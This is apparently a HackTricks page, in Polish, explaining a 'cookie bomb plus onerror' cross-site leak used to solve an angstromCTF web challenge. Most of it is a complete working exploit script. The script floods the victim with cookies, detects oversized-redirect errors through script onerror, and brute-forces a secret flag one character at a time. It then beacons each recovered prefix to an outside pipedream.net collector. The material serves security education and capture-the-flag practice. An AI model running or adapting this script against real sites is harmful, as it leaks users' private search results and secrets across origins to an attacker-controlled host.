Cookie Bomb + Onerror XS Leak

Support HackTricks

Poniższy skrypt pobrany z tutaj wykorzystuje funkcjonalność, która pozwala użytkownikowi wstawić dowolną liczbę ciasteczek, a następnie załadować plik jako skrypt, wiedząc, że prawdziwa odpowiedź będzie większa niż fałszywa. Jeśli operacja zakończy się sukcesem, odpowiedź to przekierowanie z wynikiem URL, który jest dłuższy, zbyt duży, aby serwer mógł go obsłużyć, więc zwraca kod statusu błędu http. Jeśli wyszukiwanie się nie powiedzie, nic się nie stanie, ponieważ URL jest krótki.

<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
Wsparcie dla HackTricks

Last updated